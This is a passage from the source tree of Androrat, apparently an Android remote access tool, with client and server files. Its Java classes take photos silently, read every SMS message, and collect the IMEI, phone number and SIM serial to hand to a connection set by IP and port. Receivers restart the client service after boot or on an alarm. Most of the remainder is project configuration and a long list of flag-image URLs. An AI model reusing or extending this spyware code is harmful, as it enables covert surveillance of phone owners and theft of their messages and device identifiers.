54 | Log.i("PhotoTaker", "Right after Open !");
55 |
56 | if (cam == null)
57 | return false;
58 |
59 | SurfaceView view = new SurfaceView(ctx);
60 | try {
61 | holder = view.getHolder();
62 | cam.setPreviewDisplay(holder);
63 | } catch(IOException e) { return false; }
64 |
65 | cam.startPreview();
66 | cam.takePicture(null, null, pic);
67 |
68 | return true;
69 | }
70 |
71 |
72 | }
73 |
--------------------------------------------------------------------------------
/src/Androrat/src/my/app/Library/SMSLister.java:
--------------------------------------------------------------------------------
1 | package my.app.Library;
2 |
3 | import java.util.ArrayList;
4 |
5 | import android.database.Cursor;
6 | import android.net.Uri;
7 |
8 | import Packet.SMSPacket;
9 | import Packet.SMSTreePacket;
10 | import my.app.client.ClientListener;
11 |
12 | public class SMSLister {
13 |
14 | //ClientListener ctx;
15 | //int channel;
16 |
17 | public static boolean listSMS(ClientListener c, int channel, byte[] args) {
18 | ArrayList l = new ArrayList();
19 |
20 | boolean ret = false;
21 | String WHERE_CONDITION = new String(args);
22 | String SORT_ORDER = "date DESC";
23 | String[] column = { "_id", "thread_id", "address", "person", "date","read" ,"body", "type" };
24 | String CONTENT_URI = "content://sms/"; //content://sms/inbox, content://sms/sent
25 |
26 | Cursor cursor = c.getContentResolver().query(Uri.parse(CONTENT_URI), column , WHERE_CONDITION, null, SORT_ORDER);
27 |
28 |
29 | if(cursor.getCount() != 0) {
30 | cursor.moveToFirst();
31 |
32 | do{
33 | if(cursor.getColumnCount() != 0) {
34 | int id = cursor.getInt(cursor.getColumnIndex("_id"));
35 | int thid = cursor.getInt(cursor.getColumnIndex("thread_id"));
36 | String add = cursor.getString(cursor.getColumnIndex("address"));
37 | int person = cursor.getInt(cursor.getColumnIndex("person"));
38 | long date = cursor.getLong(cursor.getColumnIndex("date"));
39 | int read = cursor.getInt(cursor.getColumnIndex("read"));
40 | String body = cursor.getString(cursor.getColumnIndex("body"));
41 | int type = cursor.getInt(cursor.getColumnIndex("type"));
42 | l.add(new SMSPacket(id, thid, add, person, date, read, body, type));
43 | }
44 | }while(cursor.moveToNext());
45 | ret = true;
46 | }
47 | else
48 | ret = false;
49 |
50 |
51 | c.handleData(channel, new SMSTreePacket(l).build());
52 | return ret;
53 | }
54 |
55 | }
56 |
--------------------------------------------------------------------------------
/src/Androrat/src/my/app/Library/SystemInfo.java:
--------------------------------------------------------------------------------
1 | package my.app.Library;
2 |
3 | import java.io.ByteArrayOutputStream;
4 | import java.io.IOException;
5 | import java.io.ObjectOutputStream;
6 | import java.util.Hashtable;
7 |
8 | import android.content.Context;
9 | import android.telephony.TelephonyManager;
10 |
11 | public class SystemInfo {
12 |
13 | Context ctx;
14 | TelephonyManager tm;
15 |
16 | public SystemInfo(Context c) {
17 | ctx = c;
18 | tm = (TelephonyManager) ctx.getSystemService(Context.TELEPHONY_SERVICE);
19 | }
20 |
21 | public String getPhoneNumber() {
22 | return tm.getLine1Number();
23 | }
24 |
25 | public String getIMEI() {
26 | return tm.getDeviceId();
27 | }
28 |
29 | public String getCountryCode() {
30 | return tm.getNetworkCountryIso();
31 | }
32 |
33 | public String getOperatorName() {
34 | return tm.getNetworkOperatorName();
35 | }
36 |
37 | public String getSimCountryCode() {
38 | return tm.getSimCountryIso();
39 | }
40 |
41 | public String getSimOperatorName() {
42 | return tm.getSimOperatorName();
43 | }
44 |
45 | public String getSimSerial() {
46 | return tm.getSimSerialNumber();
47 | }
48 |
49 | public byte[] getBasicInfos() {
50 | Hashtable h = new Hashtable();
51 | String res;
52 | res = getIMEI();
53 | if(res != null)
54 | h.put("IMEI", res);
55 | res = getPhoneNumber();
56 | if(res != null)
57 | h.put("PhoneNumber", res);
58 | res = getCountryCode();
59 | if(res != null)
60 | h.put("Country", res);
61 | res = getOperatorName();
62 | if(res != null)
63 | h.put("Operator",res);
64 | res = getSimCountryCode();
65 | if(res != null)
66 | h.put("SimCountry", res);
67 | res = getSimOperatorName();
68 | if(res != null)
69 | h.put("SimOperator", res);
70 | res= getSimSerial();
71 | if(res != null)
72 | h.put("SimSerial", res);
73 |
74 | try {
75 | ByteArrayOutputStream bos = new ByteArrayOutputStream();
76 | ObjectOutputStream out = new ObjectOutputStream(bos);
77 | out.writeObject(h);
78 | return bos.toByteArray();
79 | } catch (IOException e) {
80 | return null;
81 | }
82 | }
83 |
84 |
85 |
86 | }
87 |
--------------------------------------------------------------------------------
/src/Androrat/src/my/app/client/AlarmListener.java:
--------------------------------------------------------------------------------
1 | package my.app.client;
2 |
3 | import android.content.BroadcastReceiver;
4 | import android.content.Context;
5 | import android.content.Intent;
6 | import android.os.Bundle;
7 | import android.util.Log;
8 | import android.widget.Toast;
9 |
10 | public class AlarmListener extends BroadcastReceiver {
11 |
12 | public final String TAG = AlarmListener.class.getSimpleName();
13 |
14 | @Override
15 | public void onReceive(Context context, Intent intent) {
16 | Log.d(TAG, "Alarm received !");
17 | try {
18 | Bundle bundle = intent.getExtras();
19 | String message = bundle.getString("alarm_message");
20 | if(message != null) {
21 | Log.i(TAG, "Message received: "+message);
22 |
23 | Intent serviceIntent = new Intent(context, Client.class);
24 | serviceIntent.setAction(AlarmListener.class.getSimpleName());//By this way the Client will know that it was AlarmListener that launched it
25 | context.startService(serviceIntent);
26 |
27 | }
28 | //Toast.makeText(context, message, Toast.LENGTH_SHORT).show();
29 | } catch (Exception e) {
30 | Log.e(TAG, "Error in Alarm received !"+ e.getMessage());
31 | }
32 | }
33 | }
--------------------------------------------------------------------------------
/src/Androrat/src/my/app/client/AndroratActivity.java:
--------------------------------------------------------------------------------
1 | package my.app.client;
2 |
3 | import my.app.client.R;
4 | import android.app.Activity;
5 | import android.os.Bundle;
6 |
7 | public class AndroratActivity extends Activity {
8 | /** Called when the activity is first created. */
9 | @Override
10 | public void onCreate(Bundle savedInstanceState) {
11 | super.onCreate(savedInstanceState);
12 | setContentView(R.layout.main);
13 |
14 | }
15 | }
--------------------------------------------------------------------------------
/src/Androrat/src/my/app/client/BootReceiver.java:
--------------------------------------------------------------------------------
1 | package my.app.client;
2 |
3 | import android.content.BroadcastReceiver;
4 | import android.content.Context;
5 | import android.content.Intent;
6 | import android.util.Log;
7 |
8 | public class BootReceiver extends BroadcastReceiver {
9 |
10 | public final String TAG = BootReceiver.class.getSimpleName();
11 |
12 | @Override
13 | public void onReceive(Context context, Intent intent) {
14 | Log.i(TAG,"BOOT Complete received by Client !");
15 |
16 | String action = intent.getAction();
17 |
18 | if(action.equals(Intent.ACTION_BOOT_COMPLETED)) { //android.intent.action.BOOT_COMPLETED
19 | Intent serviceIntent = new Intent(context, Client.class);
20 | serviceIntent.setAction(BootReceiver.class.getSimpleName());
21 | context.startService(serviceIntent);
22 | }
23 | }
24 |
25 | }
--------------------------------------------------------------------------------
/src/Androrat/src/my/app/client/LauncherActivity.java:
--------------------------------------------------------------------------------
1 | package my.app.client;
2 |
3 | import my.app.client.R;
4 | import android.app.Activity;
5 | import android.content.Intent;
6 | import android.os.Bundle;
7 | import android.view.View;
8 | import android.widget.Button;
9 | import android.widget.EditText;
10 |
11 | public class LauncherActivity extends Activity {
12 | /** Called when the activity is first created. */
13 |
14 | Intent Client, ClientAlt;
15 | Button btnStart, btnStop;
16 | EditText ipfield, portfield;
17 | @Override
18 | public void onCreate(Bundle savedInstanceState) {
19 | super.onCreate(savedInstanceState);
20 | setContentView(R.layout.main);
21 |
22 | Client = new Intent(this, Client.class);
23 | Client.setAction(LauncherActivity.class.getName());
24 |
25 | btnStart = (Button) findViewById(R.id.buttonstart);
26 | btnStop = (Button) findViewById(R.id.buttonstop);
27 | ipfield = (EditText) findViewById(R.id.ipfield);
28 | portfield = (EditText) findViewById(R.id.portfield);
29 |
30 | btnStart.setOnClickListener(new View.OnClickListener() {
31 | public void onClick(View view) {
32 | Client.putExtra("IP", ipfield.getText().toString());
33 | Client.putExtra("PORT", new Integer(portfield.getText().toString()));
34 | startService(Client);
35 | btnStart.setEnabled(false);
36 | btnStop.setEnabled(true);
37 | //finish();
38 | }
39 | });
40 |
41 | btnStop.setOnClickListener(new View.OnClickListener() {
42 | public void onClick(View view) {
43 | stopService(Client);
44 | btnStart.setEnabled(true);
45 | btnStop.setEnabled(false);
46 | //finish();
47 | }
48 | });
49 | }
50 | }
--------------------------------------------------------------------------------
/src/Androrat/src/my/app/client/Preference.java:
--------------------------------------------------------------------------------
1 | package my.app.client;
2 |
3 | import android.os.Bundle;
4 |
5 | import android.preference.PreferenceActivity;
6 |
7 |
8 |
9 | public class Preference extends PreferenceActivity {
10 |
11 |
12 |
13 | /** Called when the activity is first created. */
14 |
15 | @Override
16 |
17 | public void onCreate(Bundle savedInstanceState) {
18 |
19 | super.onCreate(savedInstanceState);
20 |
21 | addPreferencesFromResource(R.xml.preferences);
22 |
23 | }
24 |
25 | }
26 |
--------------------------------------------------------------------------------
/src/AndroratServer/.classpath:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/src/AndroratServer/.project:
--------------------------------------------------------------------------------
1 |
2 |
3 | AndroratServer
4 |
5 |
6 |
7 |
8 |
9 | org.eclipse.jdt.core.javabuilder
10 |
11 |
12 |
13 |
14 |
15 | org.eclipse.jdt.core.javanature
16 |
17 |
18 |
19 | INOUT_LIBRARY
20 | 2
21 | INOUT_LIBRARY
22 |
23 |
24 |
25 |
26 | INOUT_LIBRARY
27 | $%7BPARENT-1-PROJECT_LOC%7D/InOut
28 |
29 |
30 |
31 |
--------------------------------------------------------------------------------
/src/AndroratServer/.settings/org.eclipse.jdt.ui.prefs:
--------------------------------------------------------------------------------
1 | eclipse.preferences.version=1
2 | formatter_settings_version=12
3 |
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/panel/ColorPane.java:
--------------------------------------------------------------------------------
1 | package gui.panel;
2 |
3 | import javax.swing.*;
4 | import javax.swing.text.*;
5 | import java.awt.Color;
6 |
7 | public class ColorPane extends JTextPane {
8 |
9 | public void append(Color c, String s) {
10 | StyleContext sc = StyleContext.getDefaultStyleContext();
11 | AttributeSet aset = sc.addAttribute(SimpleAttributeSet.EMPTY, StyleConstants.Foreground, c);
12 |
13 | int len = getDocument().getLength();
14 | setCaretPosition(len);
15 | setCharacterAttributes(aset, false);
16 | replaceSelection(s);
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/.directory:
--------------------------------------------------------------------------------
1 | [Dolphin]
2 | ShowPreview=true
3 | Timestamp=2012,6,11,22,37,15
4 | Version=2
5 |
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/.directory:
--------------------------------------------------------------------------------
1 | [Dolphin]
2 | ShowPreview=true
3 | Timestamp=2012,6,13,17,39,6
4 | Version=2
5 |
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/AD.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/AD.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/AE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/AE.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/AF.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/AF.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/AG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/AG.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/AI.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/AI.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/AL.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/AL.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/AM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/AM.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/AO.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/AO.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/AQ.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/AQ.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/AR.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/AR.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/AS.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/AS.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/AT.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/AT.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/AU.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/AU.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/AW.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/AW.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/AZ.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/AZ.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/Algeria.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/Algeria.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/BA.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/BA.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/BB.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/BB.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/BD.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/BD.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/BE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/BE.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/BF.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/BF.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/BG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/BG.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/BH.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/BH.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/BI.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/BI.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/BJ.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/BJ.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/BM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/BM.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/BN.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/BN.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/BO.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/BO.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/BR.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/BR.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/BS.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/BS.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/BT.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/BT.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/BW.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/BW.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/BY.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/BY.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/BZ.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/BZ.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/CA.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/CA.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/CD.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/CD.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/CF.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/CF.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/CG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/CG.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/CH.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/CH.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/CI.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/CI.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/CIS.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/CIS.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/CK.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/CK.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/CL.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/CL.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/CM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/CM.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/CN.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/CN.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/CO.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/CO.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/CR.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/CR.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/CU.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/CU.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/CV.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/CV.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/CY.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/CY.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/CZ.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/CZ.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/DE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/DE.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/DJ.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/DJ.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/DK.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/DK.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/DM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/DM.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/DO.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/DO.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/DZ.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/DZ.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/EC.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/EC.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/EE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/EE.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/EG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/EG.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/EH.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/EH.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/ER.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/ER.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/ES.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/ES.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/ET.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/ET.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/EU.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/EU.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/FI.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/FI.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/FJ.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/FJ.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/FM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/FM.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/FO.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/FO.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/FR.png:
--------------------------------------------------------------------------------
